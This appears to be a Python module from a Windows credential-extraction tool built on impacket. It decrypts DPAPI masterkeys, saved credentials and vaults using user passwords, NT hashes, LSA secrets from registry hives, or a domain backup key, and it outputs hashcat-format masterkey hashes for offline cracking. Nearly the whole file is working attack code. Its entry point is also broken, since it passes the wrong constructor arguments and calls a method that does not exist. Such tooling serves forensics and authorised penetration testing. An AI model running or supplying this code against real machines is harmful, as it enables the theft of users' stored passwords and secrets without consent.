#!/usr/bin/env python # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: # Pierre-Alexandre Vandewoestyne (@T00uF) # Mostly the work of the great Alberto Solino (@agsolino) # # Description: # Example for using the DPAPI/Vault structures to unlock Windows Secrets. # # Examples: # # You can unlock masterkeys, credentials and vaults. For the three, you will specify the file name (using -file for # masterkeys and credentials, and -vpol and -vcrd for vaults). # If no other parameter is sent, the contents of these resource will be shown, with their encrypted data as well. # If you specify a -key blob (in the form of '0xabcdef...') that key will be used to decrypt the contents. # In the case of vaults, you might need to also provide the user's sid (and the user password will be asked). # For system secrets, instead of a password you will need to specify the system and security hives. # # References: All of the work done by these guys. I just adapted their work to my needs. # https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 # https://github.com/jordanbtucker/dpapick # https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) # http://blog.digital-forensics.it/2016/01/windows-revaulting.html # https://www.passcape.com/windows_password_recovery_vault_explorer # https://www.passcape.com/windows_password_recovery_dpapi_master_key # from __future__ import division from __future__ import print_function import struct import argparse import logging import sys import re from binascii import unhexlify, hexlify from hashlib import pbkdf2_hmac from impacket import LOG from Cryptodome.Cipher import AES, PKCS1_v1_5 from Cryptodome.Hash import HMAC, SHA1, MD4 from impacket.uuid import bin_to_string from impacket import crypto from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import lsad from impacket import version from impacket.examples import logger from impacket.examples.secretsdump import LocalOperations, LSASecrets from impacket.structure import hexdump from impacket.dpapi import * from donpapi.lib.toolbox import bcolors """MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, DPAPI_BLOB, \ CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, P_BACKUP_KEY, PREFERRED_BACKUP_KEY, \ PVK_FILE_HDR, PRIVATE_KEY_BLOB, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY """ def is_password_hash(password): #TODO if len(password)==32 :#NT hash return True #is sha1, MD4, sha256 return 0 #From GentilKiwi https://github.com/gentilkiwi/mimikatz/blob/fe4e98405589e96ed6de5e05ce3c872f8108c0a0/modules/kull_m_key.h#L18-L38 class CapiCertBlob(Structure): structure = ( ('Version', '<L=0'), ('unk0', '<L=0'), ('dwNameLen', '<L=0'), ('dwSiPublicKeyLen', '<L=0'), ('dwSiPrivateKeyLen', '<L=0'), ('dwExPublicKeyLen', '<L=0'), ('dwExPrivateKeyLen', '<L=0'), ('dwHashLen', '<L=0'), ('dwSiExportFlagLen', '<L=0'), ('dwExExportFlagLen', '<L=0'), ('_pName', '_-pName', 'self["dwNameLen"]'), ('pName', ':'), ('_pHash', '_-pHash', 'self["dwHashLen"]'), ('pHash', ':'), ('_Blob', '_-Blob', 'self["KeySize"]'), ('Blob', ':', DPAPI_BLOB), ) class CngCertBlob(Structure): structure = ( ('Version', '<L=0'), ('unk0', '<L=0'), ('dwNameLen', '<L=0'), ('type', '<L=0'), ('dwPublicPropertiesLen', '<L=0'), ('dwPrivatePropertiesLen', '<L=0'), ('dwPrivateKeyLen', '<L=0'), ('dwHashLen', "16s=b"""), ('_pName', '_-pName', 'self["dwNameLen"]'), ('pName', ':'), ('_pPublicProperties', '_-pPublicProperties', 'self["dwPublicPropertiesLen"]'), ('pPublicProperties', ':'), ('_pPrivateProperties', '_-pPPrivateProperties', 'self["dwPrivatePropertiesLen"]'), ('pPrivateProperties', ':'), ('_Blob', '_-Blob', 'self["dwPrivateKeyLen"]'), ('Blob', ':', DPAPI_BLOB), ) class DPAPI: def __init__(self, options,logger): self.options = options self.dpapiSystem = None self.logging= logger self.logging.debug(f"init DPAPI()") self.data = None def getDPAPI_SYSTEM(self,secretType, secret): if secret.startswith("dpapi_machinekey:"): machineKey, userKey = secret.split('\n') machineKey = machineKey.split(':')[1] userKey = userKey.split(':')[1] self.dpapiSystem = {} self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) self.dpapiSystem['UserKey'] = unhexlify(userKey[2:]) def getLSA(self): localOperations = LocalOperations(self.options.system) bootKey = localOperations.getBootKey() lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM) lsaSecrets.dumpSecrets() def deriveKeysFromUser(self, sid, password): try: self.logging.debug(f"deriveKeysFromUser SID : {sid} with password {password}") # Will generate two keys, one with SHA1 and another with MD4 key1 = HMAC.new(SHA1.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = HMAC.new(MD4.new(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), SHA1).digest() # For Protected users tmpKey = pbkdf2_hmac('sha256', MD4.new(password.encode('utf-16le')).digest(), sid.encode('utf-16le'), 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] key3 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] except Exception as e: self.logging.debug(f"derivekey exception : {str(e)}") return key1, key2, key3 def deriveKeysFromUserkey(self, sid, pwdhash): try: if len(pwdhash) == 20: # SHA1 key1 = HMAC.new(pwdhash, (sid + '\0').encode('utf-16le'), SHA1).digest() key2 = None else: # Assume MD4 key1 = HMAC.new(pwdhash.encode('utf-16le'), (sid + '\0').encode('utf-16le'), SHA1).digest() # For Protected users tmpKey = pbkdf2_hmac('sha256', pwdhash, sid.encode('utf-16le'), 10000) tmpKey2 = pbkdf2_hmac('sha256', tmpKey, sid.encode('utf-16le'), 1)[:16] key2 = HMAC.new(tmpKey2, (sid + '\0').encode('utf-16le'), SHA1).digest()[:20] except Exception as e: self.logging.error(f"derivekey exception : {str(e)}") return key1, key2 def get_masterkey_hash(self,generate_hash=False): # Open masterkey self.logging.debug("Opening masterkey file %s" % self.options.file) fp = open(self.options.file, 'rb') data = fp.read() mkf = MasterKeyFile(data) # mkf.dump() data = data[len(mkf):] dk = None #Context = local or domain hashes=[] if mkf['MasterKeyLen'] > 0: mk = MasterKey(data[:mkf['MasterKeyLen']]) data = data[len(mk):] self.logging.debug("[MASTERKEY]") self.logging.debug("Version : %8x (%d)" % (mk['Version'], mk['Version'])) self.logging.debug("Salt : %s" % hexlify(mk['Salt'])) self.logging.debug("Rounds : %8x (%d)" % (mk['MasterKeyIterationCount'], mk['MasterKeyIterationCount'])) self.logging.debug("HashAlgo : %.8x (%d) (%s)" % ( mk['HashAlgo'], mk['HashAlgo'], ALGORITHMS(mk['HashAlgo']).name)) self.logging.debug("CryptAlgo : %.8x (%d) (%s)" % ( mk['CryptAlgo'], mk['CryptAlgo'], ALGORITHMS(mk['CryptAlgo']).name)) self.logging.debug("data : %s" % (hexlify(mk['data']))) #Generate Dump # #On peut voir si le compte est un compte domaine via l'existance d'infos de domainkey is_domain_user=False # Context = local or domain if mkf['DomainKeyLen'] > 0: contexts = [2,3] is_domain_user=True else : contexts = [1] if self.options.sid : #self.logging.debug(ALGORITHMS(mk['CryptAlgo']).name) #self.logging.debug(ALGORITHMS(mk['HashAlgo']).name) if ALGORITHMS(mk['CryptAlgo']).name=="CALG_3DES": crypt_algo="des3" if ALGORITHMS(mk['CryptAlgo']).name=="CALG_AES_256": crypt_algo="aes256" if ALGORITHMS(mk['HashAlgo']).name == "CALG_HMAC" or ALGORITHMS(mk['HashAlgo']).name =="CALG_SHA1": hash_algo="sha1" if ALGORITHMS(mk['HashAlgo']).name == "CALG_SHA_512": hash_algo="sha512" if crypt_algo=="des3" and hash_algo=="sha1" and len(hexlify(mk['data']))==208: version=1 self.logging.debug(f"MKF version {mk['Version']} detected : with Crypto {ALGORITHMS(mk['CryptAlgo']).name} and hash {ALGORITHMS(mk['HashAlgo']).name}") elif crypt_algo=="aes256" and hash_algo=="sha512" and len(hexlify(mk['data']))==288: version=2 self.logging.debug(f"MKF version {mk['Version']} detected : with Crypto {ALGORITHMS(mk['CryptAlgo']).name} and hash {ALGORITHMS(mk['HashAlgo']).name}") else: self.logging.debug(f"Unsupported Crypto/hash version : {ALGORITHMS(mk['CryptAlgo']).name} : {ALGORITHMS(mk['HashAlgo']).name} with data length of {len(hexlify(mk['data']))}") for context in contexts: #version=mk['Version'] == MKF Version // 1=hashcat 15300 / 2=hashcat 15900 hashcat_hash=f"$DPAPImk${version}*{context}*{self.options.sid}*{crypt_algo}*{hash_algo}*{mk['MasterKeyIterationCount']}*{hexlify(mk['Salt']).decode('UTF-8')}*{len(hexlify(mk['data']))}*{hexlify(mk['data']).decode('UTF-8')}" self.logging.debug(hashcat_hash) hashes.append(hashcat_hash) #Save hashes in database #add_dpapi_hash(file_path='', sid='', guid='', hash='',context='', pillaged_from_computerid=None,pillaged_from_computer_ip=None) else : self.logging.debug('SID needed to generate hash file') return [],is_domain_user return hashes, is_domain_user def decrypt_masterkey(self,passwords=[]): #Open masterkey self.logging.debug("Opening masterkey file %s"%self.options.file) fp = open(self.options.file, 'rb') data = fp.read() mkf = MasterKeyFile(data) #mkf.dump() data = data[len(mkf):] dk=None if mkf['MasterKeyLen'] > 0: mk = MasterKey(data[:mkf['MasterKeyLen']]) data = data[len(mk):] if mkf['BackupKeyLen'] > 0: bkmk = MasterKey(data[:mkf['BackupKeyLen']]) data = data[len(bkmk):] if mkf['CredHistLen'] > 0: ch = CredHist(data[:mkf['CredHistLen']]) data = data[len(ch):] if mkf['DomainKeyLen'] > 0: dk = DomainKey(data[:mkf['DomainKeyLen']]) data = data[len(dk):] if self.options.pvk and dk!=None: self.logging.debug("Opening Domain Master Backup File %s" % self.options.pvk) pvkfile = open(self.options.pvk, 'rb').read() key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) private = privatekeyblob_to_pkcs1(key) cipher = PKCS1_v1_5.new(private) decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) if decryptedKey: try: domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] self.logging.debug('Decrypted key with domain backup key provided') self.logging.debug('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) return '0x%s' % hexlify(key).decode('latin-1') except: # on extrait l'info en dur self.logging.debug('excepted, maybe because of a known DPAPI_PVK fuckup. trying to adjust ... ') key = decryptedKey[8:96 + 8 - 32] self.logging.debug('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) return '0x%s' % hexlify(key).decode('latin-1') else: logging.debug("Error in decryptedKey with PVK") # Lets try to decrypt it with another method # return -1 if self.options.key and self.options.sid: #LSA machine/user Key + SID self.logging.debug("Decrypting with SID and key") key = unhexlify(self.options.key[2:]) key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key) decryptedKey = mk.decrypt(key1) if decryptedKey: self.logging.debug('Decrypted key with key provided + SID') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') decryptedKey = mk.decrypt(key2) if decryptedKey: self.logging.debug('Decrypted key with key provided + SID') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') if self.options.key: self.logging.debug(f"Decrypting with key {self.options.key}") key = unhexlify(self.options.key[2:]) decryptedKey = mk.decrypt(key) if decryptedKey: self.logging.debug('Decrypted key with key provided') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') if self.options.sid :#and self.options.key is None: self.logging.debug(f'Decrypting with SID {self.options.sid} and Password {self.options.password}') # Do we have a password? for password in passwords: #Password or hash ? # TODO if is_password_hash(password): self.logging.debug(f"Trying with hash = {password}") pwdhash=password key1, key2=self.deriveKeysFromUserkey(self.options.sid, pwdhash) key3=None else: self.logging.debug(f"Trying with Password= {password}") key1, key2, key3 = self.deriveKeysFromUser(self.options.sid, password) self.logging.debug(f'Got \nkey1:{key1}\nkey2:{key2}\nkey3:{key3}') # if mkf['flags'] & 4 ? SHA1 : MD4 if mkf['MasterKeyLen'] > 0: decryptedKey = mk.decrypt(key3) if decryptedKey: self.logging.debug('Decrypted key with User Key (MD4 protected)') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') decryptedKey = mk.decrypt(key2) if decryptedKey: self.logging.debug('Decrypted key with User Key (MD4)') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') decryptedKey = mk.decrypt(key1) if decryptedKey: self.logging.debug('Decrypted key with User Key (SHA1)') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') if mkf['BackupKeyLen'] > 0: decryptedKey = bkmk.decrypt(key3) if decryptedKey: self.logging.debug('Decrypted Backup key with User Key (MD4 protected)') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') decryptedKey = bkmk.decrypt(key2) if decryptedKey: self.logging.debug('Decrypted Backup key with User Key (MD4)') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') decryptedKey = bkmk.decrypt(key1) if decryptedKey: self.logging.debug('Decrypted Backup key with User Key (SHA1)') self.logging.debug('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return '0x%s' % hexlify(decryptedKey).decode('latin-1') else: self.logging.debug('Password not found') return -1 def find_CredentialFile_masterkey(self,raw_data=None): if self.options.file is not None: #Policy file try: self.logging.debug("Opening BLOB file %s" % self.options.file) fp = open(self.options.file, 'rb') self.data = fp.read() fp.close() except Exception as ex: self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") self.logging.debug(ex) elif raw_data is not None: self.data = raw_data if self.data == None: self.logging.debug("No Data in dpapi.py find_CredentialFile_masterkey ") try: cred = CredentialFile(self.data) blob = DPAPI_BLOB(cred['Data']) self.logging.debug("got blob %r" % blob) used_masterkey = bin_to_string(blob['GuidMasterKey']) return used_masterkey.lower() except Exception as ex: self.logging.debug("Exception in dpapi.py find_CredentialFile_masterkey ") self.logging.debug(ex) def find_Blob_masterkey(self,raw_data=None): if self.options.file is not None: #Policy file try: self.logging.debug("Opening BLOB file %s" % self.options.file) fp = open(self.options.file, 'rb') self.data = fp.read() fp.close() except Exception as ex: self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") self.logging.debug(ex) elif raw_data is not None : self.data= raw_data if self.data == None: self.logging.debug("No Data in dpapi.py find_Blob_masterkey ") try: #cred = CredentialFile(data) #blob = DPAPI_BLOB(cred['Data']) blob = DPAPI_BLOB(self.data) self.logging.debug("got blob %r" % blob) used_masterkey = bin_to_string(blob['GuidMasterKey']) return used_masterkey.lower() except Exception as ex: self.logging.debug("Exception in dpapi.py find_Blob_masterkey 2") self.logging.debug(ex) def find_Vault_Masterkey(self,raw_data=None): if self.options.vpol is not None: #Policy file try: self.logging.debug("Opening Policy BLOB file %s" % self.options.vpol) fp = open(self.options.vpol, 'rb') self.data = fp.read() fp.close() except Exception as ex: self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") self.logging.debug(ex) elif raw_data is not None: self.data = raw_data if self.data == None: self.logging.debug("No Data in dpapi.py find_Vault_Masterkey ") try: vpol = VAULT_VPOL(self.data) blob = vpol['Blob'] #vpol.dump() used_masterkey = bin_to_string(blob['GuidMasterKey']) return used_masterkey.lower() except Exception as ex: self.logging.debug("Exception in dpapi.py find_Vault_Masterkey ") self.logging.debug(ex) def decrypt_credential(self,raw_data=None): if self.options.file is not None: # Policy file try: self.logging.debug("Opening BLOB file %s" % self.options.file) fp = open(self.options.file, 'rb') self.data = fp.read() fp.close() except Exception as ex: self.logging.debug("Exception in dpapi.py find_Blob_masterkey 1 ") self.logging.debug(ex) elif raw_data is not None: self.data = raw_data if self.data == None: self.logging.debug("No Data in dpapi.py decrypt_credential ") try: cred = CredentialFile(self.data) blob = DPAPI_BLOB(cred['Data']) self.logging.debug("got blob %r" % blob) used_masterkey=bin_to_string(blob['GuidMasterKey']) self.logging.debug(f"Bloob is encrypted with MasterKey : {used_masterkey}") if self.options.key is not None: self.logging.debug("Key was given to DPAPI.decrypt_credential() - using key %s"%self.options.key) key = unhexlify(self.options.key[2:]) #self.logging.debug("With key %s"%hexlify(key)) decrypted = blob.decrypt(key) if decrypted is not None: creds = CREDENTIAL_BLOB(decrypted) #creds.dump() return creds else: # Just print the data self.logging.debug("NO Key was given to DPAPI.decrypt_credential() ") blob.dump() return None except Exception as ex: self.logging.debug("Exception in dpapi.py decrypt_credential") self.logging.debug(ex) return None def decrypt_blob(self,raw_data=None,entropy=None): if self.options.file is not None: # Blob file try: self.logging.debug("Opening BLOB file %s" % self.options.file) fp = open(self.options.file, 'rb') self.data = fp.read() fp.close() except Exception as ex: self.logging.debug("Exception in dpapi.py decrypt_blob 1 ") self.logging.debug(ex) elif raw_data is not None: self.data = raw_data if self.data is None: self.logging.debug("No Data in dpapi.py decrypt_blob ") return None try: blob = DPAPI_BLOB(self.data) self.logging.debug("got blob %r" % blob) used_masterkey=bin_to_string(blob['GuidMasterKey']) self.logging.debug(f"Bloob is encrypted with MasterKey : {used_masterkey}") if self.options.key is not None: self.logging.debug("Key was given to DPAPI.decrypt_blob() - using key %s"%self.options.key) key = unhexlify(self.options.key[2:]) self.logging.debug("With key %s"%hexlify(key)) if entropy is not None: decrypted = blob.decrypt(key,entropy=entropy) else: decrypted = blob.decrypt(key) #self.logging.debug(decrypted) if decrypted is not None: return decrypted else: # Just print the data self.logging.debug("NO Key was given to DPAPI.decrypt_blob() ") blob.dump() return None except Exception as ex: self.logging.debug("Exception in dpapi.py decrypt_blob") self.logging.debug(ex) return None def decrypt_vault(self): self.logging.debug('[-]dpapi.py decrypt_vault()') if self.options.vcrd is None and self.options.vpol is None: self.logging.debug('You must specify either -vcrd or -vpol parameter. Type --help for more info') return None elif self.options.vpol is not None: #Policy file try: fp = open(self.options.vpol, 'rb') data = fp.read() vpol = VAULT_VPOL(data) blob = vpol['Blob'] #vpol.dump() self.logging.debug("Looking for MasterKey : %s" % bin_to_string(blob['GuidMasterKey'])) if self.options.key is not None: self.logging.debug("Key was given to DPAPI.decrypt_vault() - using key %s" % self.options.key) key = unhexlify(self.options.key[2:]) # self.logging.debug("With key %s"%hexlify(key)) #blob = vpol['Blob'] data = blob.decrypt(key) if data is not None: keys = VAULT_VPOL_KEYS(data) #keys.dump() return keys """ elif self.options.masterkeys is not None: for masterkey in self.options.masterkeys: self.logging.debug("Testing masterkey %s" % masterkey) if bin_to_string(blob['GuidMasterKey']).upper() in masterkey.upper(): self.logging.debug("Masterkey %s found" % bin_to_string(blob['GuidMasterKey'])) if self.options.masterkeys[masterkey] == None: self.logging.debug(f"{bcolors.FAIL}[+]Error : This key was not decrypted{bcolors.ENDC}") return None key = unhexlify(self.options.masterkeys[masterkey][2:]) self.logging.debug("Starting decryption With key %s" % hexlify(key)) data = blob.decrypt(key) if data is not None: keys = VAULT_VPOL_KEYS(data) keys.dump() return keys """ else: # Just print the data self.logging.debug("NO Key was given to DPAPI.decrypt_vault()") #vpol.dump() return -1 except Exception as ex: self.logging.debug("Exception in dpapi.py decrypt VPOL VAULT") self.logging.debug(ex) elif self.options.vcrd is not None:#Vault file fp = open(self.options.vcrd, 'rb') data = fp.read() blob = VAULT_VCRD(data) keyz=[] try: if self.options.vaultkeys is not None: for key in self.options.vaultkeys: keyz.append(unhexlify(key[2:])) if self.options.key is not None: keyz.append(unhexlify(self.options.key[2:]) ) except Exception as ex: self.logging.debug("Exception in dpapi.py decrypt VCRD VAULT - getting keyz") self.logging.debug(ex) for key in keyz: try: cleartext = None for i, entry in enumerate(blob.attributesLen): if entry > 28: attribute = blob.attributes[i] if 'IV' in attribute.fields and len(attribute['IV']) == 16: cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) else: cipher = AES.new(key, AES.MODE_CBC) cleartext = cipher.decrypt(attribute['Data']) if cleartext is not None: # Lookup schema Friendly Name and print if we find one if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:#************INTEGRER les SCHEMA # Found one. Cast it and print vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext) return vault,blob['FriendlyName'].decode('utf-16le')[:-1] else: # otherwise self.logging.debug(f"Unknown VAULT SCHEMA - VCRD VAULT {self.options.vcrd}") hexdump(cleartext) return cleartext,'' except Exception as ex: self.logging.debug(f"Exception in dpapi.py decrypt VCRD VAULT - Couldn't decrypt vault {self.options.vcrd}") self.logging.debug(ex) else: blob.dump() return None, None ''' class CredHistFile: def __init__(self, raw): self.data = raw self.header = CredHist(self.data) self.data = self.data[24:] self.entries_list = [] self.entries = {} def get_entries(self): while True: l = self.data.pop("L") if l == 0: break self.addEntry(self.data.pop_string(l - 4)) self.footmagic = self.data.eat("L") self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % self.data.eat("L2H8B") def addEntry(self, blob): """Creates a CredhistEntry object with blob then adds it to the store""" x = CredhistEntry(blob) self.entries[x.guid] = x self.entries_list.append(x) class CredHist(Structure): structure = ( ('Version', '<L=0'), ('Guid', "16s=b''"), ) def dump(self): print("[CREDHIST]") print("Version : %8x (%d)" % (self['Version'], self['Version'])) print("Guid : %s" % bin_to_string(self['Guid'])) print() CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, blockLength=64, IVLength=64, module=des,keyFixup=des_set_odd_parity) CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, blockLength=64, IVLength=64, module=triple_des,keyFixup=des_set_odd_parity) CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, blockLength=128, IVLength=128) CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) class CredhistEntry(Structure): structure = ( ('revision', '<L=0'), ('hashAlgo', '<L=0'), ('rounds', '<L=0'), ('xxx', '<L=0'), ('cipherAlgo', '<L=0'), ('shaHashLen', '<L=0'), ('ntHashLen', '<L=0'), ('iv', "16s=b''"), ) def parse(self, data): self.revision = data.eat("L") self.hashAlgo = data.eat("L") self.rounds = data.eat("L") data.eat("L") self.cipherAlgo = data.eat("L") self.shaHashLen = data.eat("L") self.ntHashLen = data.eat("L") self.iv = data.eat("16s") self.userSID = RPC_SID() self.userSID.parse(data) n = self.shaHashLen + self.ntHashLen n += -n % self.cipherAlgo.blockSize self.encrypted = data.eat_string(n) self.revision2 = data.eat("L") self.guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") ''' if __name__ == '__main__': # Init the example's logger theme logger.init() LOG.debug(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Nose") parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # A domain backup key command backupkeys = subparsers.add_parser('backupkeys', help='domain backup key related functions') backupkeys.add_argument('-t', '--target', action='store', required=True, help='[[domain/]username[:password]@]<targetName or address>') backupkeys.add_argument('-k', action='store_true', required=False, help='use kerberos') backupkeys.add_argument('--export', action='store_true', required=False, help='export keys to file') # A masterkey command masterkey = subparsers.add_parser('masterkey', help='masterkey related functions') masterkey.add_argument('-file', action='store', required=True, help='Master Key File to parse') masterkey.add_argument('-sid', action='store', help='SID of the user') masterkey.add_argument('-pvk', action='store', help='Domain backup privatekey to use for decryption') masterkey.add_argument('-key', action='store', help='Specific key to use for decryption') masterkey.add_argument('-password', action='store', help='User\'s password. If you specified the SID and not the password it will be prompted') masterkey.add_argument('-system', action='store', help='SYSTEM hive to parse') masterkey.add_argument('-security', action='store', help='SECURITY hive to parse') # A credential command credential = subparsers.add_parser('credential', help='credential related functions') credential.add_argument('-file', action='store', required=True, help='Credential file') credential.add_argument('-key', action='store', required=False, help='Key used for decryption') # A vault command vault = subparsers.add_parser('vault', help='vault credential related functions') vault.add_argument('-vcrd', action='store', required=False, help='Vault Credential file') vault.add_argument('-vpol', action='store', required=False, help='Vault Policy file') vault.add_argument('-key', action='store', required=False, help='Master key used for decryption') options = parser.parse_args() if len(sys.argv)==1: parser.print_help() sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) try: executer = DPAPI(options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() LOG.debug(str(e))